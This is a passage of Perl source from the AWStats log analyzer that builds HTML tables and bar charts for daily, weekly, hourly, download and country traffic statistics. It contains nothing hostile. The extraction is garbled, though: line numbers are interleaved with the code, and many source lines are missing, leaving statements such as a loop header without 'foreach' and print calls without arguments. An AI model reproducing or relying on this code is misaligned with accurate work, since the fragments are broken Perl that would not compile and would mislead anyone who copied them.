&& $month == $nowmonth
13428
&& $year == $nowyear
13429
? '<font class="currentday">'
13432
print "$day<br /><span style=\"font-size: "
13433
. ( $FrameName ne 'mainright'
13434
&& $QueryString !~ /buildpdf/i ? "9" : "8" )
13436
. $MonthNumLib{$month}
13438
print( !$StaticLinks
13440
&& $month == $nowmonth
13441
&& $year == $nowyear ? '</font>' : '' );
13444
print "<td> </td>";
13445
print "<td valign=\"middle\""
13447
. ">$Message[96]</td>\n";
13449
print "</table>\n";
13453
# Show data array for days
13454
if ($AddDataArrayShowDaysOfMonthStats) {
13457
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[4]</td>";
13458
if ( $ShowDaysOfMonthStats =~ /V/i ) {
13459
print "<td width=\"80\" bgcolor=\"#$color_v\""
13461
. ">$Message[10]</td>";
13463
if ( $ShowDaysOfMonthStats =~ /P/i ) {
13464
print "<td width=\"80\" bgcolor=\"#$color_p\""
13466
. ">$Message[56]</td>";
13468
if ( $ShowDaysOfMonthStats =~ /H/i ) {
13469
print "<td width=\"80\" bgcolor=\"#$color_h\""
13471
. ">$Message[57]</td>";
13473
if ( $ShowDaysOfMonthStats =~ /B/i ) {
13474
print "<td width=\"80\" bgcolor=\"#$color_k\""
13476
. ">$Message[75]</td>";
13480
my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
13482
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
13486
if ( !DateIsValid( $day, $month, $year ) ) {
13488
} # If not an existing day, go to next
13489
my $dayofweekcursor = DayOfWeek( $day, $month, $year );
13492
$dayofweekcursor =~ /[06]/
13493
? " bgcolor=\"#$color_weekend\""
13501
&& $month == $nowmonth
13502
&& $year == $nowyear
13503
? '<font class="currentday">'
13506
print Format_Date( "$year$month$day" . "000000", 2 );
13507
print( !$StaticLinks
13509
&& $month == $nowmonth
13510
&& $year == $nowyear ? '</font>' : '' );
13512
if ( $ShowDaysOfMonthStats =~ /V/i ) {
13514
Format_Number($DayVisits{ $year . $month . $day }
13515
? $DayVisits{ $year . $month . $day }
13518
if ( $ShowDaysOfMonthStats =~ /P/i ) {
13520
Format_Number($DayPages{ $year . $month . $day }
13521
? $DayPages{ $year . $month . $day }
13524
if ( $ShowDaysOfMonthStats =~ /H/i ) {
13526
Format_Number($DayHits{ $year . $month . $day }
13527
? $DayHits{ $year . $month . $day }
13530
if ( $ShowDaysOfMonthStats =~ /B/i ) {
13533
int( $DayBytes{ $year . $month . $day } || 0 ) ),
13541
"<tr bgcolor=\"#$color_TableBGRowTitle\"><td>$Message[96]</td>";
13542
if ( $ShowDaysOfMonthStats =~ /V/i ) {
13543
print "<td>".Format_Number(int($average_v))."</td>";
13545
if ( $ShowDaysOfMonthStats =~ /P/i ) {
13546
print "<td>".Format_Number(int($average_p))."</td>";
13548
if ( $ShowDaysOfMonthStats =~ /H/i ) {
13549
print "<td>".Format_Number(int($average_h))."</td>";
13551
if ( $ShowDaysOfMonthStats =~ /B/i ) {
13552
print "<td>".Format_Bytes(int($average_k))."</td>";
13558
"<tr bgcolor=\"#$color_TableBGRowTitle\"><td>$Message[102]</td>";
13559
if ( $ShowDaysOfMonthStats =~ /V/i ) {
13560
print "<td>".Format_Number($total_v)."</td>";
13562
if ( $ShowDaysOfMonthStats =~ /P/i ) {
13563
print "<td>".Format_Number($total_p)."</td>";
13565
if ( $ShowDaysOfMonthStats =~ /H/i ) {
13566
print "<td>".Format_Number($total_h)."</td>";
13568
if ( $ShowDaysOfMonthStats =~ /B/i ) {
13569
print "<td>" . Format_Bytes($total_k) . "</td>";
13572
print "</table>\n<br />";
13575
print "</center>\n";
13576
print "</td></tr>\n";
13580
#------------------------------------------------------------------------------
13581
# Function: Prints the Days of the Week section on the main page
13582
# Parameters: $firstdaytocountaverage, $lastdaytocountaverage
13586
#------------------------------------------------------------------------------
13587
sub HTMLMainDaysofWeek{
13588
my $firstdaytocountaverage = shift;
13589
my $lastdaytocountaverage = shift;
13590
if ($Debug) { debug( "ShowDaysOfWeekStats", 2 ); }
13591
print "$Center<a name=\"daysofweek\"> </a><br />\n";
13592
my $title = "$Message[91]";
13593
&tab_head( "$title", 18, 0, 'daysofweek' );
13595
print "<td align=\"center\">";
13596
print "<center>\n";
13598
my $max_h = my $max_k = 0; # Start from 0 because can be lower than 1
13599
# Get average value for day of week
13600
my @avg_dayofweek_nb = ();
13601
my @avg_dayofweek_p = ();
13602
my @avg_dayofweek_h = ();
13603
my @avg_dayofweek_k = ();
13604
foreach my $daycursor (
13605
$firstdaytocountaverage .. $lastdaytocountaverage )
13607
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
13611
if ( !DateIsValid( $day, $month, $year ) ) {
13613
} # If not an existing day, go to next
13614
my $dayofweekcursor = DayOfWeek( $day, $month, $year );
13615
$avg_dayofweek_nb[$dayofweekcursor]
13616
++; # Increase number of day used to count for this day of week
13617
$avg_dayofweek_p[$dayofweekcursor] +=
13618
( $DayPages{$daycursor} || 0 );
13619
$avg_dayofweek_h[$dayofweekcursor] +=
13620
( $DayHits{$daycursor} || 0 );
13621
$avg_dayofweek_k[$dayofweekcursor] +=
13622
( $DayBytes{$daycursor} || 0 );
13625
if ( $avg_dayofweek_nb[$_] ) {
13626
$avg_dayofweek_p[$_] =
13627
$avg_dayofweek_p[$_] / $avg_dayofweek_nb[$_];
13628
$avg_dayofweek_h[$_] =
13629
$avg_dayofweek_h[$_] / $avg_dayofweek_nb[$_];
13630
$avg_dayofweek_k[$_] =
13631
$avg_dayofweek_k[$_] / $avg_dayofweek_nb[$_];
13633
#if ($avg_dayofweek_p[$_] > $max_p) { $max_p = $avg_dayofweek_p[$_]; }
13634
if ( $avg_dayofweek_h[$_] > $max_h ) {
13635
$max_h = $avg_dayofweek_h[$_];
13637
if ( $avg_dayofweek_k[$_] > $max_k ) {
13638
$max_k = $avg_dayofweek_k[$_];
13642
$avg_dayofweek_p[$_] = "?";
13643
$avg_dayofweek_h[$_] = "?";
13644
$avg_dayofweek_k[$_] = "?";
13648
# Show bars for days of week
13650
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
13652
my @blocklabel = ();
13655
( $Message[ $_ + 84 ] . ( $_ =~ /[06]/ ? "!" : "" ) );
13658
( "$Message[56]", "$Message[57]", "$Message[75]" );
13659
my @valcolor = ( "$color_p", "$color_h", "$color_k" );
13660
my @valmax = ( int($max_h), int($max_h), int($max_k) );
13661
my @valtotal = ( $TotalPages, $TotalHits, $TotalBytes );
13663
my $average_p = my $average_h = my $average_k = 0;
13664
$average_p = sprintf( "%.2f", $AveragePages );
13665
$average_h = sprintf( "%.2f", $AverageHits );
13668
? Format_Bytes( sprintf( "%.2f", $AverageBytes ) )
13671
my @valaverage = ( $average_p, $average_h, $average_k );
13676
$valdata[ $xx++ ] = $avg_dayofweek_p[$_] || 0;
13677
$valdata[ $xx++ ] = $avg_dayofweek_h[$_] || 0;
13678
$valdata[ $xx++ ] = $avg_dayofweek_k[$_] || 0;
13680
# Round to be ready to show array
13681
$avg_dayofweek_p[$_] =
13682
sprintf( "%.2f", $avg_dayofweek_p[$_] );
13683
$avg_dayofweek_h[$_] =
13684
sprintf( "%.2f", $avg_dayofweek_h[$_] );
13685
$avg_dayofweek_k[$_] =
13686
sprintf( "%.2f", $avg_dayofweek_k[$_] );
13688
# Remove decimal part that are .0
13689
if ( $avg_dayofweek_p[$_] == int( $avg_dayofweek_p[$_] ) ) {
13690
$avg_dayofweek_p[$_] = int( $avg_dayofweek_p[$_] );
13692
if ( $avg_dayofweek_h[$_] == int( $avg_dayofweek_h[$_] ) ) {
13693
$avg_dayofweek_h[$_] = int( $avg_dayofweek_h[$_] );
13696
my $function = "ShowGraph_$pluginname";
13698
"$title", "daysofweek",
13699
$ShowDaysOfWeekStats, \@blocklabel,
13700
\@vallabel, \@valcolor,
13701
\@valmax, \@valtotal,
13702
\@valaverage, \@valdata
13709
print "<tr valign=\"bottom\">\n";
13714
if ( $max_h > 0 ) {
13717
$avg_dayofweek_p[$_] ne '?'
13718
? $avg_dayofweek_p[$_]
13720
) / $max_h * $BarHeight
13723
if ( $max_h > 0 ) {
13726
$avg_dayofweek_h[$_] ne '?'
13727
? $avg_dayofweek_h[$_]
13729
) / $max_h * $BarHeight
13732
if ( $max_k > 0 ) {
13735
$avg_dayofweek_k[$_] ne '?'
13736
? $avg_dayofweek_k[$_]
13738
) / $max_k * $BarHeight
13741
$avg_dayofweek_p[$_] = sprintf(
13744
$avg_dayofweek_p[$_] ne '?'
13745
? $avg_dayofweek_p[$_]
13749
$avg_dayofweek_h[$_] = sprintf(
13752
$avg_dayofweek_h[$_] ne '?'
13753
? $avg_dayofweek_h[$_]
13757
$avg_dayofweek_k[$_] = sprintf(
13760
$avg_dayofweek_k[$_] ne '?'
13761
? $avg_dayofweek_k[$_]
13766
# Remove decimal part that are .0
13767
if ( $avg_dayofweek_p[$_] == int( $avg_dayofweek_p[$_] ) ) {
13768
$avg_dayofweek_p[$_] = int( $avg_dayofweek_p[$_] );
13770
if ( $avg_dayofweek_h[$_] == int( $avg_dayofweek_h[$_] ) ) {
13771
$avg_dayofweek_h[$_] = int( $avg_dayofweek_h[$_] );
13773
print "<td valign=\"bottom\">";
13774
if ( $ShowDaysOfWeekStats =~ /P/i ) {
13776
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\""
13777
. AltTitle("$Message[56]: $avg_dayofweek_p[$_]")
13780
if ( $ShowDaysOfWeekStats =~ /H/i ) {
13782
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\""
13783
. AltTitle("$Message[57]: $avg_dayofweek_h[$_]")
13786
if ( $ShowDaysOfWeekStats =~ /B/i ) {
13788
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\""
13789
. AltTitle( "$Message[75]: "
13790
. Format_Bytes( $avg_dayofweek_k[$_] ) )
13796
print "<tr" . Tooltip(17) . ">\n";
13799
. ( $_ =~ /[06]/ ? " bgcolor=\"#$color_weekend\"" : "" )
13803
&& $_ == ( $nowwday - 1 )
13804
&& $MonthRequired == $nowmonth
13805
&& $YearRequired == $nowyear
13806
? '<font class="currentday">'
13809
print $Message[ $_ + 84 ];
13810
print( !$StaticLinks
13811
&& $_ == ( $nowwday - 1 )
13812
&& $MonthRequired == $nowmonth
13813
&& $YearRequired == $nowyear ? '</font>' : '' );
13816
print "</tr>\n</table>\n";
13820
# Show data array for days of week
13821
if ($AddDataArrayShowDaysOfWeekStats) {
13824
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[4]</td>";
13825
if ( $ShowDaysOfWeekStats =~ /P/i ) {
13826
print "<td width=\"80\" bgcolor=\"#$color_p\""
13828
. ">$Message[56]</td>";
13830
if ( $ShowDaysOfWeekStats =~ /H/i ) {
13831
print "<td width=\"80\" bgcolor=\"#$color_h\""
13833
. ">$Message[57]</td>";
13835
if ( $ShowDaysOfWeekStats =~ /B/i ) {
13836
print "<td width=\"80\" bgcolor=\"#$color_k\""
13838
. ">$Message[75]</td></tr>";
13842
. ( $_ =~ /[06]/ ? " bgcolor=\"#$color_weekend\"" : "" )
13847
&& $_ == ( $nowwday - 1 )
13848
&& $MonthRequired == $nowmonth
13849
&& $YearRequired == $nowyear
13850
? '<font class="currentday">'
13853
print $Message[ $_ + 84 ];
13854
print( !$StaticLinks
13855
&& $_ == ( $nowwday - 1 )
13856
&& $MonthRequired == $nowmonth
13857
&& $YearRequired == $nowyear ? '</font>' : '' );
13859
if ( $ShowDaysOfWeekStats =~ /P/i ) {
13860
print "<td>", Format_Number(int($avg_dayofweek_p[$_])), "</td>";
13862
if ( $ShowDaysOfWeekStats =~ /H/i ) {
13863
print "<td>", Format_Number(int($avg_dayofweek_h[$_])), "</td>";
13865
if ( $ShowDaysOfWeekStats =~ /B/i ) {
13866
print "<td>", Format_Bytes(int($avg_dayofweek_k[$_])),
13871
print "</table>\n<br />\n";
13874
print "</center></td>";
13879
#------------------------------------------------------------------------------
13880
# Function: Prints the Downloads chart and table
13885
#------------------------------------------------------------------------------
13886
sub HTMLMainDownloads{
13887
my $NewLinkParams = shift;
13888
my $NewLinkTarget = shift;
13889
if (!$LevelForFileTypesDetection > 0){return;}
13890
if ($Debug) { debug( "ShowDownloadStats", 2 ); }
13891
my $regext = qr/\.(\w{1,6})$/;
13892
print "$Center<a name=\"downloads\"> </a><br />\n";
13894
if ($MaxNbOf{'DownloadsShown'} < 1){$MaxNbOf{'DownloadsShown'} = 10;} # default if undefined
13896
"$Message[178] ($Message[77] $MaxNbOf{'DownloadsShown'}) - <a href=\""
13898
$ENV{'GATEWAY_INTERFACE'}
13900
? XMLEncode("$AWScript${NewLinkParams}output=downloads")
13901
: "$StaticLinks.downloads.$StaticExt"
13903
. "\"$NewLinkTarget>$Message[80]</a>";
13904
&tab_head( "$title", 0, 0, 'downloads' );
13906
for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){
13907
$Totalh += $_downloads{$u}->{'AWSTATS_HITS'};
13909
if ($cnt > 4){last;}
13911
# Graph the top five in a pie chart
13912
if (scalar keys %_downloads > 1){
13913
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
13915
my @blocklabel = ();
13917
my @valcolor = ($color_p);
13919
for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){
13920
push @valdata, ($_downloads{$u}->{'AWSTATS_HITS'} / $Totalh * 1000 ) / 10;
13921
push @blocklabel, Get_Filename($u);
13923
if ($cnt > 4) { last; }
13926
if ($ShowDownloadsStats =~ /H/i){$columns += length($ShowDownloadsStats)+1;}
13927
else{$columns += length($ShowDownloadsStats);}
13928
print "<tr><td colspan=\"$columns\">";
13929
my $function = "ShowGraph_$pluginname";
13931
"$Message[80]", "downloads",
13937
print "</td></tr>";
13941
my $total_dls = scalar keys %_downloads;
13942
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[178]: $total_dls</th>";
13943
if ( $ShowDownloadsStats =~ /H/i ){print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"
13944
."<th bgcolor=\"#$color_h\" width=\"80\">206 $Message[57]</th>"; }
13945
if ( $ShowDownloadsStats =~ /B/i ){
13946
print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
13947
print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
13951
for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){
13953
my $ext = Get_Extension($regext, $u);
13956
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
13957
. "><img src=\"$DirIcons\/mime\/unknown.png\""
13962
my $nameicon = $MimeHashLib{$ext}[0] || "notavailable";
13963
my $nametype = $MimeHashFamily{$MimeHashLib{$ext}[0]} || " ";
13965
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
13966
. "><img src=\"$DirIcons\/mime\/$nameicon.png\""
13970
print "<td class=\"aws\">";
13971
&HTMLShowURLInfo($u);
13973
if ( $ShowDownloadsStats =~ /H/i ){
13974
print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_HITS'})."</td>";
13975
print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_206'})."</td>";
13977
if ( $ShowDownloadsStats =~ /B/i ){
13978
print "<td>".Format_Bytes($_downloads{$u}->{'AWSTATS_SIZE'})."</td>";
13979
print "<td>".Format_Bytes(($_downloads{$u}->{'AWSTATS_SIZE'}/
13980
($_downloads{$u}->{'AWSTATS_HITS'} + $_downloads{$u}->{'AWSTATS_206'})))."</td>";
13984
if ($count >= $MaxNbOf{'DownloadsShown'}){last;}
13989
#------------------------------------------------------------------------------
13990
# Function: Prints the hours chart and table
13995
#------------------------------------------------------------------------------
13997
if ($Debug) { debug( "ShowHoursStats", 2 ); }
13998
print "$Center<a name=\"hours\"> </a><br />\n";
13999
my $title = "$Message[20]";
14000
if ( $PluginsLoaded{'GetTimeZoneTitle'}{'timezone'} ) {
14002
. ( GetTimeZoneTitle_timezone() >= 0 ? "+" : "" )
14003
. int( GetTimeZoneTitle_timezone() ) . ")";
14005
&tab_head( "$title", 19, 0, 'hours' );
14006
print "<tr><td align=\"center\">\n";
14007
print "<center>\n";
14009
my $max_h = my $max_k = 1;
14010
for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
14012
#if ($_time_p[$ix]>$max_p) { $max_p=$_time_p[$ix]; }
14013
if ( $_time_h[$ix] > $max_h ) { $max_h = $_time_h[$ix]; }
14014
if ( $_time_k[$ix] > $max_k ) { $max_k = $_time_k[$ix]; }
14017
# Show bars for hour
14019
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
14021
my @blocklabel = ( 0 .. 23 );
14023
( "$Message[56]", "$Message[57]", "$Message[75]" );
14024
my @valcolor = ( "$color_p", "$color_h", "$color_k" );
14025
my @valmax = ( int($max_h), int($max_h), int($max_k) );
14026
my @valtotal = ( $TotalPages, $TotalHits, $TotalBytes );
14027
my @valaverage = ( $AveragePages, $AverageHits, $AverageBytes );
14031
$valdata[ $xx++ ] = $_time_p[$_] || 0;
14032
$valdata[ $xx++ ] = $_time_h[$_] || 0;
14033
$valdata[ $xx++ ] = $_time_k[$_] || 0;
14035
my $function = "ShowGraph_$pluginname";
14038
$ShowHoursStats, \@blocklabel,
14039
\@vallabel, \@valcolor,
14040
\@valmax, \@valtotal,
14041
\@valaverage, \@valdata
14048
print "<tr valign=\"bottom\">\n";
14049
for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
14053
if ( $max_h > 0 ) {
14055
int( $BarHeight * $_time_p[$ix] / $max_h ) + 1;
14057
if ( $max_h > 0 ) {
14059
int( $BarHeight * $_time_h[$ix] / $max_h ) + 1;
14061
if ( $max_k > 0 ) {
14063
int( $BarHeight * $_time_k[$ix] / $max_k ) + 1;
14066
if ( $ShowHoursStats =~ /P/i ) {
14068
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\""
14069
. AltTitle( "$Message[56]: " . int( $_time_p[$ix] ) )
14072
if ( $ShowHoursStats =~ /H/i ) {
14074
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\""
14075
. AltTitle( "$Message[57]: " . int( $_time_h[$ix] ) )
14078
if ( $ShowHoursStats =~ /B/i ) {
14080
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\""
14082
"$Message[75]: " . Format_Bytes( $_time_k[$ix] ) )
14090
print "<tr" . Tooltip(17) . ">";
14091
for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
14092
print "<th width=\"19\">$ix</th>\n"
14093
; # width=19 instead of 18 to avoid a MacOS browser bug.
14098
print "<tr" . Tooltip(17) . ">\n";
14099
for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
14100
my $hrs = ( $ix >= 12 ? $ix - 12 : $ix );
14101
my $hre = ( $ix >= 12 ? $ix - 11 : $ix + 1 );
14102
my $apm = ( $ix >= 12 ? "pm" : "am" );
14104
"<td><img src=\"$DirIcons\/clock\/hr$hre.png\" width=\"12\" alt=\"$hrs:00 - $hre:00 $apm\" /></td>\n";
14107
print "</table>\n";
14111
# Show data array for hours
14112
if ($AddDataArrayShowHoursStats) {
14113
print "<table width=\"650\"><tr>\n";
14114
print "<td align=\"center\"><center>\n";
14118
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[20]</td>";
14119
if ( $ShowHoursStats =~ /P/i ) {
14120
print "<td width=\"80\" bgcolor=\"#$color_p\""
14122
. ">$Message[56]</td>";
14124
if ( $ShowHoursStats =~ /H/i ) {
14125
print "<td width=\"80\" bgcolor=\"#$color_h\""
14127
. ">$Message[57]</td>";
14129
if ( $ShowHoursStats =~ /B/i ) {
14130
print "<td width=\"80\" bgcolor=\"#$color_k\""
14132
. ">$Message[75]</td>";
14135
for ( my $ix = 0 ; $ix <= 11 ; $ix++ ) {
14136
my $monthix = ( $ix < 10 ? "0$ix" : "$ix" );
14138
print "<td>$monthix</td>";
14139
if ( $ShowHoursStats =~ /P/i ) {
14141
Format_Number($_time_p[$monthix] ? $_time_p[$monthix] : "0"),
14144
if ( $ShowHoursStats =~ /H/i ) {
14146
Format_Number($_time_h[$monthix] ? $_time_h[$monthix] : "0"),
14149
if ( $ShowHoursStats =~ /B/i ) {
14150
print "<td>", Format_Bytes( int( $_time_k[$monthix] ) ),
14155
print "</table>\n";
14157
print "</center></td>";
14158
print "<td width=\"10\"> </td>";
14159
print "<td align=\"center\"><center>\n";
14163
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[20]</td>";
14164
if ( $ShowHoursStats =~ /P/i ) {
14165
print "<td width=\"80\" bgcolor=\"#$color_p\""
14167
. ">$Message[56]</td>";
14169
if ( $ShowHoursStats =~ /H/i ) {
14170
print "<td width=\"80\" bgcolor=\"#$color_h\""
14172
. ">$Message[57]</td>";
14174
if ( $ShowHoursStats =~ /B/i ) {
14175
print "<td width=\"80\" bgcolor=\"#$color_k\""
14177
. ">$Message[75]</td>";
14180
for ( my $ix = 12 ; $ix <= 23 ; $ix++ ) {
14181
my $monthix = ( $ix < 10 ? "0$ix" : "$ix" );
14183
print "<td>$monthix</td>";
14184
if ( $ShowHoursStats =~ /P/i ) {
14186
Format_Number($_time_p[$monthix] ? $_time_p[$monthix] : "0"),
14189
if ( $ShowHoursStats =~ /H/i ) {
14191
Format_Number($_time_h[$monthix] ? $_time_h[$monthix] : "0"),
14194
if ( $ShowHoursStats =~ /B/i ) {
14195
print "<td>", Format_Bytes( int( $_time_k[$monthix] ) ),
14200
print "</table>\n";
14202
print "</center></td></tr></table>\n";
14206
print "</center></td></tr>\n";
14210
#------------------------------------------------------------------------------
14211
# Function: Prints the countries chart and table
14212
# Parameters: $NewLinkParams, $NewLinkTarget
14216
#------------------------------------------------------------------------------
14217
sub HTMLMainCountries{
14218
my $NewLinkParams = shift;
14219
my $NewLinkTarget = shift;
14221
if ($Debug) { debug( "ShowDomainsStats", 2 ); }
14222
print "$Center<a name=\"countries\"> </a><br />\n";
14224
"$Message[25] ($Message[77] $MaxNbOf{'Domain'}) - <a href=\""
14226
$ENV{'GATEWAY_INTERFACE'}
14228
? XMLEncode("$AWScript${NewLinkParams}output=alldomains")
14229
: "$StaticLinks.alldomains.$StaticExt"
14231
. "\"$NewLinkTarget>$Message[80]</a>";
14232
&tab_head( "$title", 19, 0, 'countries' );
14234
my $total_u = my $total_v = my $total_p = my $total_h = my $total_k = 0;
14236
foreach ( values %_domener_h ) {
14237
if ( $_ > $max_h ) { $max_h = $_; }
14240
foreach ( values %_domener_k ) {
14241
if ( $_ > $max_k ) { $max_k = $_; }
14246
$MaxNbOf{'Domain'}, $MinHit{'Domain'},
14247
\%_domener_h, \%_domener_p
14251
if (scalar @keylist > 1){
14252
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
14254
my @blocklabel = ();
14257
foreach my $key (@keylist) {
14258
push @valdata, int( $_domener_h{$key} );
14259
push @blocklabel, $DomainsHashIDLib{$key};
14261
if ($cnt > 99) { last; }
14263
print "<tr><td colspan=\"7\" align=\"center\">";
14264
my $function = "ShowGraph_$pluginname";
14266
"AWStatsCountryMap", "countries_map",
14272
print "</td></tr>";
14277
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th colspan=\"2\">$Message[17]</th>";
14279
## to add unique visitors and number of visits by calculation of average of the relation with total
14280
## pages and total hits, and total visits and total unique
14281
## by Josep Ruano @ CAPSiDE
14282
if ( $ShowDomainsStats =~ /U/i ) {
14283
print "<th bgcolor=\"#$color_u\" width=\"80\""
14285
. ">$Message[11]</th>";
14287
if ( $ShowDomainsStats =~ /V/i ) {
14288
print "<th bgcolor=\"#$color_v\" width=\"80\""
14290
. ">$Message[10]</th>";
14292
if ( $ShowDomainsStats =~ /P/i ) {
14293
print "<th bgcolor=\"#$color_p\" width=\"80\""
14295
. ">$Message[56]</th>";
14297
if ( $ShowDomainsStats =~ /H/i ) {
14298
print "<th bgcolor=\"#$color_h\" width=\"80\""
14300
. ">$Message[57]</th>";
14302
if ( $ShowDomainsStats =~ /B/i ) {
14303
print "<th bgcolor=\"#$color_k\" width=\"80\""
14305
. ">$Message[75]</th>";
14307
print "<th> </th>";
14310
foreach my $key (@keylist) {
14311
my ( $_domener_u, $_domener_v );
14317
if ( $max_h > 0 ) {
14319
int( $BarWidth * $_domener_p{$key} / $max_h ) + 1;
14320
} # use max_h to enable to compare pages with hits
14321
if ( $_domener_p{$key} && $bredde_p == 1 ) { $bredde_p = 2; }
14322
if ( $max_h > 0 ) {
14324
int( $BarWidth * $_domener_h{$key} / $max_h ) + 1;
14326
if ( $_domener_h{$key} && $bredde_h == 1 ) { $bredde_h = 2; }
14327
if ( $max_k > 0 ) {
14329
int( $BarWidth * ( $_domener_k{$key} || 0 ) / $max_k ) +
14332
if ( $_domener_k{$key} && $bredde_k == 1 ) { $bredde_k = 2; }
14333
my $newkey = lc($key);
14334
if ( $newkey eq 'ip' || !$DomainsHashIDLib{$newkey} ) {
14336
"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/ip.png\" height=\"14\""
14337
. AltTitle("$Message[0]")
14338
. " /></td><td class=\"aws\">$Message[0]</td><td>$newkey</td>";
14342
"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/$newkey.png\" height=\"14\""
14343
. AltTitle("$newkey")
14344
. " /></td><td class=\"aws\">$DomainsHashIDLib{$newkey}</td><td>$newkey</td>";
14346
## to add unique visitors and number of visits, by Josep Ruano @ CAPSiDE
14347
if ( $ShowDomainsStats =~ /U/i ) {
14350
? $_domener_p{$key} / $TotalPages
14353
$_domener_u += ( $_domener_h{$key} / $TotalHits );
14355
sprintf( "%.0f", ( $_domener_u * $TotalUnique ) / 2 );
14356
print "<td>".Format_Number($_domener_u)." ("
14357
. sprintf( "%.1f%", 100 * $_domener_u / $TotalUnique )
14360
if ( $ShowDomainsStats =~ /V/i ) {
14363
? $_domener_p{$key} / $TotalPages
14366
$_domener_v += ( $_domener_h{$key} / $TotalHits );
14368
sprintf( "%.0f", ( $_domener_v * $TotalVisits ) / 2 );
14369
print "<td>".Format_Number($_domener_v)." ("
14370
. sprintf( "%.1f%", 100 * $_domener_v / $TotalVisits )
14374
if ( $ShowDomainsStats =~ /P/i ) {
14376
. ( $_domener_p{$key} ? Format_Number($_domener_p{$key}) : ' ' )
14379
if ( $ShowDomainsStats =~ /H/i ) {
14380
print "<td>".Format_Number($_domener_h{$key})."</td>";
14382
if ( $ShowDomainsStats =~ /B/i ) {
14383
print "<td>" . Format_Bytes( $_domener_k{$key} ) . "</td>";
14385
print "<td class=\"aws\">";
14387
if ( $ShowDomainsStats =~ /P/i ) {
14389
"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\""
14393
if ( $ShowDomainsStats =~ /H/i ) {
14395
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\""
14399
if ( $ShowDomainsStats =~ /B/i ) {
14401
"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"5\""
14402
. AltTitle("") . " />";
14407
$total_u += $_domener_u;
14408
$total_v += $_domener_v;
14409
$total_p += $_domener_p{$key};
14410
$total_h += $_domener_h{$key};
14411
$total_k += $_domener_k{$key} || 0;
14414
my $rest_u = $TotalUnique - $total_u;
14415
my $rest_v = $TotalVisits - $total_v;
14416
my $rest_p = $TotalPages - $total_p;
14417
my $rest_h = $TotalHits - $total_h;
14418
my $rest_k = $TotalBytes - $total_k;
14424
{ # All other domains (known or not)
14426
"<tr><td width=\"$WIDTHCOLICON\"> </td><td colspan=\"2\" class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
14427
if ( $ShowDomainsStats =~ /U/i ) { print "<td>$rest_u</td>"; }
14428
if ( $ShowDomainsStats =~ /V/i ) { print "<td>$rest_v</td>"; }
14429
if ( $ShowDomainsStats =~ /P/i ) { print "<td>$rest_p</td>"; }
14430
if ( $ShowDomainsStats =~ /H/i ) { print "<td>$rest_h</td>"; }
14431
if ( $ShowDomainsStats =~ /B/i ) {
14432
print "<td>" . Format_Bytes($rest_k) . "</td>";
14434
print "<td class=\"aws\"> </td>";
14440
#------------------------------------------------------------------------------
14441
# Function: Prints the hosts chart and table
14442
# Parameters: $NewLinkParams, $NewLinkTarget
14446
#------------------------------------------------------------------------------
14448
my $NewLinkParams = shift;
14449
my $NewLinkTarget = shift;
14451
if ($Debug) { debug( "ShowHostsStats", 2 ); }
14452
print "$Center<a name=\"visitors\"> </a><br />\n";
14454
"$Message[81] ($Message[77] $MaxNbOf{'HostsShown'}) - <a href=\""
14456
$ENV{'GATEWAY_INTERFACE'}
14458
? XMLEncode("$AWScript${NewLinkParams}output=allhosts")
14459
: "$StaticLinks.allhosts.$StaticExt"
14461
. "\"$NewLinkTarget>$Message[80]</a> - <a href=\""
14463
$ENV{'GATEWAY_INTERFACE'}
14465
? XMLEncode("$AWScript${NewLinkParams}output=lasthosts")
14466
